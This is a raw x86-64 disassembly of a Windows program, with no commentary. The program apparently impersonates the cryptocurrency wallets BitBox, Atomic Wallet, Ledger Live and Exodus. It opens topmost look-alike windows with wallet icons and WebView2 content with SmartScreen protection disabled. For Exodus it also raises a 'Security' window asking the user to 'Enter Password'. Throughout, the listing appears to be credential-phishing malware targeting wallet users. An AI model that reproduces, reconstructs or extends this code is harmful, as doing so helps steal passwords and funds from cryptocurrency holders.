call fcn.14001e500
mov rcx, rax
call fcn.14001e7b0
mov rdx, qword [rbp - 0x28]
cmp rdx, 0xf
jbe 0x14000e6ae
inc rdx
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000e6a9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000f983
call fcn.14002f190
mov qword [rbp - 0x30], rbx
mov qword [rbp - 0x28], 0xf
mov byte [rbp - 0x40], bl
lea rdx, str.BitBox.exe
lea rcx, [rbp - 0x10]
call fcn.140016130
mov rcx, rax
call fcn.14000a930
mov ecx, 0x10
call fcn.14002f2b8
lea rcx, str.BitBoxApp
mov qword [rax], rcx
lea rcx, [0x14000bb90]
mov qword [rax + 8], rcx
lea rcx, [rbp + 0x18]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], ebx
mov r9, rax
lea r8, [0x14002a770]
xor edx, edx
xor ecx, ecx
call fcn.1400392f8
mov qword [rbp + 0x10], rax
test rax, rax
je 0x14000f99a
cmp dword [rbp + 0x18], ebx
je 0x14000f98f
movaps xmm0, xmmword [rbp + 0x10]
movdqa xmmword [rbp + 0x30], xmm0
lea rcx, [rbp + 0x30]
call fcn.14002ebd0
test eax, eax
jne 0x14000f98f
xorps xmm0, xmm0
movaps xmmword [rbp + 0x30], xmm0
movdqa xmmword [rbp + 0x10], xmm0
mov qword [rsp + 0x58], rbx
mov rax, qword [rbp - 0x20]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x48], rbx
mov qword [rsp + 0x40], rbx
mov dword [rsp + 0x38], 0x384
mov dword [rsp + 0x30], 0x4b0
mov dword [rsp + 0x28], 0x80000000
mov dword [rsp + 0x20], 0x80000000
mov r9d, 0xcf0000
lea r8, str.BitBox
lea rdx, str.DesktopApp
xor ecx, ecx
call qword [sym.imp.USER32.dll_CreateWindowExA]
mov r14, rax
mov edx, 0xffffffec
mov rcx, rax
call qword [sym.imp.USER32.dll_GetWindowLongA]
mov r8d, eax
mov edx, 0xffffffec
mov rcx, r14
call qword [sym.imp.USER32.dll_SetWindowLongA]
mov dword [rsp + 0x30], 3
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], ebx
xor r9d, r9d
xor r8d, r8d
mov rdx, 0xffffffffffffffff
mov rcx, r14
call qword [sym.imp.USER32.dll_SetWindowPos]
mov qword [rbp - 0x20], rbx
lea rcx, [rbp - 0x20]
call fcn.14001e8e0
mov rdi, qword [rbp - 0x20]
mov rax, qword [rdi]
lea rdx, str.__disable_featuresmsSmartScreenProtection
mov rcx, rdi
call qword [rax + 0x20]
mov dword [rsp + 0x28], 0x10
mov dword [rsp + 0x20], 0x20
mov r9d, 0x20
mov r8d, 1
lea rdx, str.C:ProgramDataDirecticons_bitbox.ico
xor ecx, ecx
call qword [sym.imp.USER32.dll_LoadImageA]
mov rsi, rax
test rax, rax
je 0x14000e86d
mov r9, rax
mov edx, 0x80
mov r8d, 1
mov rcx, r14
call qword [sym.imp.USER32.dll_SendMessageA]
mov r9, rsi
xor r8d, r8d
mov edx, 0x80
mov rcx, r14
call qword [sym.imp.USER32.dll_SendMessageA]
jmp 0x14000e889
mov r9d, 0x10
lea r8, str.Error
lea rdx, str.Error_loading_icon
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov edx, dword [rsp + 0x68]
mov rcx, r14
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, r14
call qword [sym.imp.USER32.dll_UpdateWindow]
lea rdx, [0x14005adee]
mov ecx, 0x18
call fcn.14002f2f4
mov rsi, rax
test rax, rax
je 0x14000e8ed
mov dword [rax + 0xc], 1
lea rcx, vtable.Microsoft::WRL::RuntimeClass_struct_Microsoft::WRL::RuntimeClassFlags_2___struct_ICoreWebView2CreateCoreWebView2EnvironmentCompletedHandler_.0
mov qword [rax], rcx
mov rcx, qword [0x140088798]
test rcx, rcx
je 0x14000e8dc
mov rdx, qword [rcx]
call qword [rdx + 8]
nop
mov qword [rsi + 0x10], r14
lea rax, method.Microsoft::WRL::RuntimeClass_struct_Microsoft::WRL::RuntimeClassFlags_2___struct_ICoreWebView2CreateCoreWebView2EnvironmentCompletedHandler_.virtual_0
mov qword [rsi], rax
mov rbx, rsi
mov r9, rbx
mov r8, rdi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.WebView2Loader.dll_CreateCoreWebView2EnvironmentWithOptions]
nop
test rbx, rbx
je 0x14000e90d
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 0x10]
nop
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 0x70]
call qword [sym.imp.USER32.dll_GetMessageA]
test eax, eax
je 0x14000e952
call fcn.14000ac20
lea rcx, [rbp + 0x70]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rbp + 0x70]
call qword [sym.imp.USER32.dll_DispatchMessageA]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 0x70]
call qword [sym.imp.USER32.dll_GetMessageA]
test eax, eax
jne 0x14000e923
mov ebx, dword [rbp + 0x80]
test rdi, rdi
je 0x14000e967
mov rax, qword [rdi]
mov rcx, rdi
call qword [rax + 0x10]
nop
cmp dword [rbp + 0x18], 0
jne 0x14000f989
mov rdx, qword [rbp + 0xd8]
cmp rdx, 0xf
jbe 0x14000e9b2
inc rdx
mov rcx, qword [rbp + 0xc0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000e9ad
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000f8ed
call fcn.14002f190
cmp r13, 0xf
jbe 0x14000f38a
lea rdx, [r13 + 1]
mov rax, r12
cmp rdx, 0x1000
jb 0x14000f382
add rdx, 0x27
mov r12, qword [r12 - 8]
sub rax, r12
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000f8ed
jmp 0x14000f382
lea rdx, [0x140088628]
lea rcx, [rbp + 0x30]
call fcn.1400164b0
mov rdi, rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x10], xmm0
mov qword [rbp], rbx
mov qword [rbp + 8], rbx
mov r8d, 6
lea rdx, str.Opened
lea rcx, [rbp - 0x10]
call fcn.14000ab20
xorps xmm0, xmm0
movups xmmword [rbp - 0x40], xmm0
mov qword [rbp - 0x30], rbx
mov qword [rbp - 0x28], rbx
mov r8d, 6
lea rdx, str.Atomic
lea rcx, [rbp - 0x40]
call fcn.14000ab20
mov r8, rdi
lea rdx, [rbp - 0x10]
lea rcx, [rbp - 0x40]
call fcn.1400096f0
xorps xmm0, xmm0
movups xmmword [rbp - 0x40], xmm0
mov qword [rbp - 0x30], rbx
mov qword [rbp - 0x28], rbx
mov r8d, 0xc
lea rdx, str.AtomicActive
lea rcx, [rbp - 0x40]
call fcn.14000ab20
lea r9, [rbp - 0x40]
cmp qword [rbp - 0x28], 0xf
cmova r9, qword [rbp - 0x40]
movabs r8, 0xcbf29ce484222325
mov rdx, rbx
mov r10, qword [rbp - 0x30]
test r10, r10
je 0x14000eac4
movabs rcx, 0x100000001b3
nop
movzx eax, byte [rdx + r9]
xor r8, rax
imul r8, rcx
inc rdx
cmp rdx, r10
jb 0x14000eab0
lea rdx, [rbp - 0x40]
call fcn.140025d40
cmp rax, qword [0x1400885e8]
je 0x14000eaf8
lea r8, [rbp - 0x40]
lea rdx, [rbp + 0x30]
call fcn.14001f1b0
mov rcx, qword [rax]
mov byte [rcx + 0x30], 1
lea rcx, [0x1400885e0]
call fcn.140008460
jmp 0x14000eb13
lea rdx, str.The_app_doesnt_exist_in_JSON.
lea rcx, [0x140086af0]
call fcn.14001e500
mov rcx, rax
call fcn.14001e7b0
mov rdx, qword [rbp - 0x28]
cmp rdx, 0xf
jbe 0x14000eb4e
inc rdx
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000eb49
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000f9a8
call fcn.14002f190
mov qword [rbp - 0x30], rbx
mov qword [rbp - 0x28], 0xf
mov byte [rbp - 0x40], bl
mov byte [0x1400885d9], 1
lea rdx, [0x140066290]
lea rcx, [rbp - 0x10]
call fcn.140016130
mov rcx, rax
call fcn.14000a930
lea r8, str.Atomic_Wallet
lea rdi, str.Atomic_Wallet.exe
mov rdx, rdi
lea rcx, [rbp - 0x10]
call fcn.14000beb0
mov ecx, 0x10
call fcn.14002f2b8
mov qword [rax], rdi
lea rcx, [0x14000bd40]
mov qword [rax + 8], rcx
lea rcx, [rbp + 0x18]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], ebx
mov r9, rax
lea r8, [0x14002a770]
xor edx, edx
xor ecx, ecx
call fcn.1400392f8
mov qword [rbp + 0x10], rax
test rax, rax
je 0x14000f9bf
cmp dword [rbp + 0x18], ebx
je 0x14000f9b4
movaps xmm0, xmmword [rbp + 0x10]
movdqa xmmword [rbp + 0x30], xmm0
lea rcx, [rbp + 0x30]
call fcn.14002ebd0
test eax, eax
jne 0x14000f9b4
xorps xmm0, xmm0
movaps xmmword [rbp + 0x30], xmm0
movdqa xmmword [rbp + 0x10], xmm0
mov qword [rsp + 0x58], rbx
mov rax, qword [rbp - 0x20]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x48], rbx
mov qword [rsp + 0x40], rbx
mov dword [rsp + 0x38], 0x384
mov dword [rsp + 0x30], 0x4b0
mov dword [rsp + 0x28], 0x80000000
mov dword [rsp + 0x20], 0x80000000
mov r9d, 0xcf0000
lea r8, str.Atomic_wallet
lea rdx, str.DesktopApp
xor ecx, ecx
call qword [sym.imp.USER32.dll_CreateWindowExA]
mov r14, rax
mov edx, 0xffffffec
mov rcx, rax
call qword [sym.imp.USER32.dll_GetWindowLongA]
mov r8d, eax
mov edx, 0xffffffec
mov rcx, r14
call qword [sym.imp.USER32.dll_SetWindowLongA]
mov dword [rsp + 0x30], 3
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], ebx
xor r9d, r9d
xor r8d, r8d
mov rdx, 0xffffffffffffffff
mov rcx, r14
call qword [sym.imp.USER32.dll_SetWindowPos]
mov qword [rbp - 0x20], rbx
lea rcx, [rbp - 0x20]
call fcn.14001e8e0
mov rdi, qword [rbp - 0x20]
mov rax, qword [rdi]
lea rdx, str.__disable_featuresmsSmartScreenProtection
mov rcx, rdi
call qword [rax + 0x20]
mov dword [rsp + 0x28], 0x10
mov dword [rsp + 0x20], 0x20
mov r9d, 0x20
mov r8d, 1
lea rdx, str.C:ProgramDataDirecticons_atomic.ico
xor ecx, ecx
call qword [sym.imp.USER32.dll_LoadImageA]
mov rsi, rax
test rax, rax
je 0x14000ed27
mov r9, rax
mov edx, 0x80
mov r8d, 1
mov rcx, r14
call qword [sym.imp.USER32.dll_SendMessageA]
mov r9, rsi
xor r8d, r8d
mov edx, 0x80
mov rcx, r14
call qword [sym.imp.USER32.dll_SendMessageA]
jmp 0x14000ed43
mov r9d, 0x10
lea r8, str.Error
lea rdx, str.Error_loading_icon
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov edx, dword [rsp + 0x68]
mov rcx, r14
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, r14
call qword [sym.imp.USER32.dll_UpdateWindow]
lea rdx, [0x14005adee]
mov ecx, 0x18
call fcn.14002f2f4
mov rsi, rax
test rax, rax
je 0x14000eda7
mov dword [rax + 0xc], 1
lea rcx, vtable.Microsoft::WRL::RuntimeClass_struct_Microsoft::WRL::RuntimeClassFlags_2___struct_ICoreWebView2CreateCoreWebView2EnvironmentCompletedHandler_.0
mov qword [rax], rcx
mov rcx, qword [0x140088798]
test rcx, rcx
je 0x14000ed96
mov rdx, qword [rcx]
call qword [rdx + 8]
nop
mov qword [rsi + 0x10], r14
lea rax, method.Microsoft::WRL::RuntimeClass_struct_Microsoft::WRL::RuntimeClassFlags_2___struct_ICoreWebView2CreateCoreWebView2EnvironmentCompletedHandler_.virtual_0
mov qword [rsi], rax
mov rbx, rsi
mov r9, rbx
mov r8, rdi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.WebView2Loader.dll_CreateCoreWebView2EnvironmentWithOptions]
nop
test rbx, rbx
je 0x14000edc7
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 0x10]
nop
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 0x70]
call qword [sym.imp.USER32.dll_GetMessageA]
test eax, eax
je 0x14000ee0f
nop dword [rax]
call fcn.14000ac20
lea rcx, [rbp + 0x70]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rbp + 0x70]
call qword [sym.imp.USER32.dll_DispatchMessageA]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 0x70]
call qword [sym.imp.USER32.dll_GetMessageA]
test eax, eax
jne 0x14000ede0
mov ebx, dword [rbp + 0x80]
test rdi, rdi
je 0x14000ee24
mov rax, qword [rdi]
mov rcx, rdi
call qword [rax + 0x10]
nop
cmp dword [rbp + 0x18], 0
jne 0x14000f9ae
mov rdx, qword [rbp + 8]
cmp rdx, 0xf
jbe 0x14000ee69
inc rdx
mov rcx, qword [rbp - 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000ee64
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000f8f3
call fcn.14002f190
mov rdx, qword [rbp + 0xd8]
cmp rdx, 0xf
jbe 0x14000eeaa
inc rdx
mov rcx, qword [rbp + 0xc0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000eea5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000f8f3
call fcn.14002f190
cmp r13, 0xf
jbe 0x14000f38a
lea rdx, [r13 + 1]
mov rax, r12
cmp rdx, 0x1000
jb 0x14000f382
add rdx, 0x27
mov r12, qword [r12 - 8]
sub rax, r12
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000f8f3
jmp 0x14000f382
lea rdx, [0x140088628]
lea rcx, [rbp + 0x30]
call fcn.1400164b0
mov rdi, rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x10], xmm0
mov qword [rbp], rbx
mov qword [rbp + 8], rbx
mov r8d, 6
lea rdx, str.Opened
lea rcx, [rbp - 0x10]
call fcn.14000ab20
xorps xmm0, xmm0
movups xmmword [rbp - 0x40], xmm0
mov qword [rbp - 0x30], rbx
mov qword [rbp - 0x28], rbx
mov r8d, 0xb
lea rsi, [0x140066280]
mov rdx, rsi
lea rcx, [rbp - 0x40]
call fcn.14000ab20
mov r8, rdi
lea rdx, [rbp - 0x10]
lea rcx, [rbp - 0x40]
call fcn.1400096f0
xorps xmm0, xmm0
movups xmmword [rbp - 0x40], xmm0
mov qword [rbp - 0x30], rbx
mov qword [rbp - 0x28], rbx
mov r8d, 0xc
lea rdx, str.LedgerActive
lea rcx, [rbp - 0x40]
call fcn.14000ab20
lea r9, [rbp - 0x40]
cmp qword [rbp - 0x28], 0xf
cmova r9, qword [rbp - 0x40]
movabs r8, 0xcbf29ce484222325
mov rdx, rbx
mov r10, qword [rbp - 0x30]
test r10, r10
je 0x14000efc4
movabs rcx, 0x100000001b3
nop word [rax + rax]
movzx eax, byte [r9 + rdx]
xor r8, rax
imul r8, rcx
inc rdx
cmp rdx, r10
jb 0x14000efb0
lea rdx, [rbp - 0x40]
call fcn.140025d40
cmp rax, qword [0x1400885e8]
je 0x14000eff8
lea r8, [rbp - 0x40]
lea rdx, [rbp + 0x30]
call fcn.14001f1b0
mov rcx, qword [rax]
mov byte [rcx + 0x30], 1
lea rcx, [0x1400885e0]
call fcn.140008460
jmp 0x14000f013
lea rdx, str.The_app_doesnt_exist_in_JSON.
lea rcx, [0x140086af0]
call fcn.14001e500
mov rcx, rax
call fcn.14001e7b0
mov rdx, qword [rbp - 0x28]
cmp rdx, 0xf
jbe 0x14000f04e
inc rdx
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000f049
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000f9cd
call fcn.14002f190
mov qword [rbp - 0x30], rbx
mov qword [rbp - 0x28], 0xf
mov byte [rbp - 0x40], bl
mov byte [0x1400885d1], 1
lea rdx, str.Ledger_Live.exe
lea rcx, [rbp - 0x10]
call fcn.140016130
mov rcx, rax
call fcn.14000a930
mov ecx, 0x10
call fcn.14002f2b8
mov qword [rax], rsi
lea rcx, [0x14000bb90]
mov qword [rax + 8], rcx
lea rcx, [rbp + 0x18]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], ebx
mov r9, rax
lea r8, [0x14002a770]
xor edx, edx
xor ecx, ecx
call fcn.1400392f8
mov qword [rbp + 0x10], rax
test rax, rax
je 0x14000f9ea
cmp dword [rbp + 0x18], ebx
je 0x14000f9df
movaps xmm0, xmmword [rbp + 0x10]
movdqa xmmword [rbp + 0x30], xmm0
lea rcx, [rbp + 0x30]
call fcn.14002ebd0
test eax, eax
jne 0x14000f9df
xorps xmm0, xmm0
movaps xmmword [rbp + 0x30], xmm0
movdqa xmmword [rbp + 0x10], xmm0
mov qword [rsp + 0x58], rbx
mov rax, qword [rbp - 0x20]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x48], rbx
mov qword [rsp + 0x40], rbx
mov dword [rsp + 0x38], 0x384
mov dword [rsp + 0x30], 0x4b0
mov dword [rsp + 0x28], 0x80000000
mov dword [rsp + 0x20], 0x80000000
mov r9d, 0xcf0000
lea r8, str.Ledger_Live
lea rdx, str.DesktopApp
xor ecx, ecx
call qword [sym.imp.USER32.dll_CreateWindowExA]
mov r14, rax
mov edx, 0xffffffec
mov rcx, rax
call qword [sym.imp.USER32.dll_GetWindowLongA]
mov r8d, eax
mov edx, 0xffffffec
mov rcx, r14
call qword [sym.imp.USER32.dll_SetWindowLongA]
mov dword [rsp + 0x30], 3
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], ebx
xor r9d, r9d
xor r8d, r8d
mov rdx, 0xffffffffffffffff
mov rcx, r14
call qword [sym.imp.USER32.dll_SetWindowPos]
mov qword [rbp - 0x20], rbx
lea rcx, [rbp - 0x20]
call fcn.14001e8e0
mov rdi, qword [rbp - 0x20]
mov rax, qword [rdi]
lea rdx, str.__disable_featuresmsSmartScreenProtection
mov rcx, rdi
call qword [rax + 0x20]
mov dword [rsp + 0x28], 0x10
mov dword [rsp + 0x20], 0x20
mov r9d, 0x20
mov r8d, 1
lea rdx, str.C:ProgramDataDirecticonsLedger.ico
xor ecx, ecx
call qword [sym.imp.USER32.dll_LoadImageA]
mov rsi, rax
test rax, rax
je 0x14000f20d
mov r9, rax
mov edx, 0x80
mov r8d, 1
mov rcx, r14
call qword [sym.imp.USER32.dll_SendMessageA]
mov r9, rsi
xor r8d, r8d
mov edx, 0x80
mov rcx, r14
call qword [sym.imp.USER32.dll_SendMessageA]
jmp 0x14000f229
mov r9d, 0x10
lea r8, str.Error
lea rdx, str.Error_loading_icon
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov edx, dword [rsp + 0x68]
mov rcx, r14
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, r14
call qword [sym.imp.USER32.dll_UpdateWindow]
lea rdx, [0x14005adee]
mov ecx, 0x18
call fcn.14002f2f4
mov rsi, rax
test rax, rax
je 0x14000f28d
mov dword [rax + 0xc], 1
lea rcx, vtable.Microsoft::WRL::RuntimeClass_struct_Microsoft::WRL::RuntimeClassFlags_2___struct_ICoreWebView2CreateCoreWebView2EnvironmentCompletedHandler_.0
mov qword [rax], rcx
mov rcx, qword [0x140088798]
test rcx, rcx
je 0x14000f27c
mov rdx, qword [rcx]
call qword [rdx + 8]
nop
mov qword [rsi + 0x10], r14
lea rax, method.Microsoft::WRL::RuntimeClass_struct_Microsoft::WRL::RuntimeClassFlags_2___struct_ICoreWebView2CreateCoreWebView2EnvironmentCompletedHandler_.virtual_0
mov qword [rsi], rax
mov rbx, rsi
mov r9, rbx
mov r8, rdi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.WebView2Loader.dll_CreateCoreWebView2EnvironmentWithOptions]
nop
test rbx, rbx
je 0x14000f2ad
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 0x10]
nop
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 0x70]
call qword [sym.imp.USER32.dll_GetMessageA]
test eax, eax
je 0x14000f2f2
call fcn.14000ac20
lea rcx, [rbp + 0x70]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rbp + 0x70]
call qword [sym.imp.USER32.dll_DispatchMessageA]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 0x70]
call qword [sym.imp.USER32.dll_GetMessageA]
test eax, eax
jne 0x14000f2c3
mov ebx, dword [rbp + 0x80]
test rdi, rdi
je 0x14000f307
mov rax, qword [rdi]
mov rcx, rdi
call qword [rax + 0x10]
nop
cmp dword [rbp + 0x18], 0
jne 0x14000f9d3
mov rdx, qword [rbp + 0xd8]
cmp rdx, 0xf
jbe 0x14000f352
inc rdx
mov rcx, qword [rbp + 0xc0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000f34d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000f9d9
call fcn.14002f190
cmp r13, 0xf
jbe 0x14000f38a
lea rdx, [r13 + 1]
mov rax, r12
cmp rdx, 0x1000
jb 0x14000f382
add rdx, 0x27
mov r12, qword [r12 - 8]
sub rax, r12
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000f9d9
mov rcx, r12
call fcn.14002f190
mov eax, ebx
jmp 0x14000c2b3
lea rdx, [0x140088628]
lea rcx, [rbp + 0x70]
call fcn.1400164b0
mov rdi, rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x40], xmm0
mov qword [rbp - 0x30], rbx
mov qword [rbp - 0x28], rbx
mov r8d, 6
lea rdx, str.Opened
lea rcx, [rbp - 0x40]
call fcn.14000ab20
xorps xmm0, xmm0
movups xmmword [rbp + 0x30], xmm0
mov qword [rbp + 0x40], rbx
mov qword [rbp + 0x48], rbx
mov r8d, 6
lea rdx, str.Exodus
lea rcx, [rbp + 0x30]
call fcn.14000ab20
mov r8, rdi
lea rdx, [rbp - 0x40]
lea rcx, [rbp + 0x30]
call fcn.1400096f0
xorps xmm0, xmm0
movups xmmword [rbp - 0x40], xmm0
mov qword [rbp - 0x30], rbx
mov qword [rbp - 0x28], rbx
mov r8d, 0xc
lea rdx, str.ExodusActive
lea rcx, [rbp - 0x40]
call fcn.14000ab20
lea r9, [rbp - 0x40]
cmp qword [rbp - 0x28], 0xf
cmova r9, qword [rbp - 0x40]
movabs r8, 0xcbf29ce484222325
mov rdx, rbx
mov r10, qword [rbp - 0x30]
test r10, r10
je 0x14000f465
movabs rcx, 0x100000001b3
movzx eax, byte [rdx + r9]
xor r8, rax
imul r8, rcx
inc rdx
cmp rdx, r10
jb 0x14000f451
lea rdx, [rbp - 0x40]
call fcn.140025d40
cmp rax, qword [0x1400885e8]
je 0x14000f499
lea r8, [rbp - 0x40]
lea rdx, [rbp + 0x30]
call fcn.14001f1b0
mov rcx, qword [rax]
mov byte [rcx + 0x30], 1
lea rcx, [0x1400885e0]
call fcn.140008460
jmp 0x14000f4b4
lea rdx, str.The_app_doesnt_exist_in_JSON.
lea rcx, [0x140086af0]
call fcn.14001e500
mov rcx, rax
call fcn.14001e7b0
mov rdx, qword [rbp - 0x28]
cmp rdx, 0xf
jbe 0x14000f4ef
inc rdx
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000f4ea
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000f9f8
call fcn.14002f190
mov qword [rbp - 0x30], rbx
mov qword [rbp - 0x28], 0xf
mov byte [rbp - 0x40], bl
mov byte [0x1400885da], 1
lea rdx, [0x140066240]
lea rcx, [rbp + 0x70]
call fcn.140016130
mov rcx, rax
call fcn.14000a930
mov ecx, 0x10
call fcn.14002f2b8
lea rcx, str.Enter_Password
mov qword [rax], rcx
lea r14, [0x14000aa70]
mov qword [rax + 8], r14
lea rcx, [rbp + 0x58]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], ebx
mov r9, rax
lea r8, [0x14002a770]
xor edx, edx
xor ecx, ecx
call fcn.1400392f8
mov qword [rbp + 0x50], rax
test rax, rax
je 0x14000f8f9
cmp dword [rbp + 0x58], ebx
je 0x14000f8bc
movaps xmm0, xmmword [rbp + 0x50]
movdqa xmmword [rbp + 0x30], xmm0
lea rcx, [rbp + 0x30]
call fcn.14002ebd0
test eax, eax
jne 0x14000f8bc
xorps xmm0, xmm0
movaps xmmword [rbp + 0x30], xmm0
movdqa xmmword [rbp + 0x50], xmm0
lea r8, str.EXODUS
lea rdx, str.Exodus.exe
lea rcx, [rbp - 0x10]
call fcn.14000beb0
lea rdi, [rbp - 0x10]
cmp qword [rbp + 8], 0xf
cmova rdi, qword [rbp - 0x10]
mov ecx, 0x10
call fcn.14002f2b8
mov qword [rax], rdi
mov qword [rax + 8], r14
lea rcx, [rbp + 0x18]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], ebx
mov r9, rax
lea r8, [0x14002a770]
xor edx, edx
xor ecx, ecx
call fcn.1400392f8
mov qword [rbp + 0x10], rax
test rax, rax
je 0x14000fa0a
cmp dword [rbp + 0x18], ebx
je 0x14000f8bc
movaps xmm0, xmmword [rbp + 0x10]
movdqa xmmword [rbp + 0x30], xmm0
lea rcx, [rbp + 0x30]
call fcn.14002ebd0
test eax, eax
jne 0x14000f8bc
xorps xmm0, xmm0
movaps xmmword [rbp + 0x30], xmm0
movdqa xmmword [rbp + 0x10], xmm0
mov qword [rsp + 0x58], rbx
mov rax, qword [rbp - 0x20]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x48], rbx
mov qword [rsp + 0x40], rbx
mov dword [rsp + 0x38], 0x384
mov dword [rsp + 0x30], 0x4b0
mov dword [rsp + 0x28], 0x3c
mov dword [rsp + 0x20], 0x15e
mov r9d, 0x80000000
lea r8, str.Security
lea rdx, str.DesktopApp
xor ecx, ecx
call qword [sym.imp.USER32.dll_CreateWindowExA]
mov r15, rax
mov edx, 0xffffffec
mov rcx, rax
call qword [sym.imp.USER32.dll_GetWindowLongA]
bts eax, 7
mov r8d, eax
mov edx, 0xffffffec
mov rcx, r15
call qword [sym.imp.USER32.dll_SetWindowLongA]
mov edx, 1
mov rcx, r15
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, r15
call qword [sym.imp.USER32.dll_UpdateWindow]
mov dword [rsp + 0x30], 3
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], ebx
xor r9d, r9d
xor r8d, r8d
mov rdx, 0xffffffffffffffff
mov rcx, r15
call qword [sym.imp.USER32.dll_SetWindowPos]
mov qword [rbp - 0x20], rbx
lea rcx, [rbp - 0x20]
call fcn.14001e8e0
mov rsi, qword [rbp - 0x20]
mov rax, qword [rsi]
lea rdx, str.__disable_featuresmsSmartScreenProtection
mov rcx, rsi
call qword [rax + 0x20]
mov rdi, rbx
lea rdx, [0x14005adee]
mov ecx, 0x18
call fcn.14002f2f4
mov r14, rax
test rax, rax
je 0x14000f753
mov dword [rax + 0xc], 1
lea rcx, vtable.Microsoft::WRL::RuntimeClass_struct_Microsoft::WRL::RuntimeClassFlags_2___struct_ICoreWebView2CreateCoreWebView2EnvironmentCompletedHandler_.0
mov qword [rax], rcx
mov rcx, qword [0x140088798]
test rcx, rcx
je 0x14000f742
mov rdx, qword [rcx]
call qword [rdx + 8]
nop
mov qword [r14 + 0x10], r15
lea rax, method.Microsoft::WRL::RuntimeClass_struct_Microsoft::WRL::RuntimeClassFlags_2___struct_ICoreWebView2CreateCoreWebView2EnvironmentCompletedHandler_.virtual_0
mov qword [r14], rax
mov rdi, r14
mov r9, rdi
mov r8, rsi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.WebView2Loader.dll_CreateCoreWebView2EnvironmentWithOptions]
nop
test rdi, rdi
je 0x14000f773
mov rax, qword [rdi]
mov rcx, rdi
call qword [rax + 0x10]
nop
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 0xe0]
call qword [sym.imp.USER32.dll_GetMessageA]
test eax, eax
je 0x14000f7c8
nop dword [rax]
call fcn.14000ac20
lea rcx, [rbp + 0xe0]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rbp + 0xe0]
call qword [sym.imp.USER32.dll_DispatchMessageA]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 0xe0]
call qword [sym.imp.USER32.dll_GetMessageA]
test eax, eax
jne 0x14000f790
mov edi, dword [rbp + 0xf0]
test rsi, rsi
je 0x14000f7dd
mov rax, qword [rsi]
mov rcx, rsi
call qword [rax + 0x10]
nop
cmp dword [rbp + 0x18], 0
jne 0x14000fa04
mov rdx, qword [rbp + 8]
cmp rdx, 0xf
jbe 0x14000f822
inc rdx
mov rcx, qword [rbp - 0x10]
mov rax, rcx
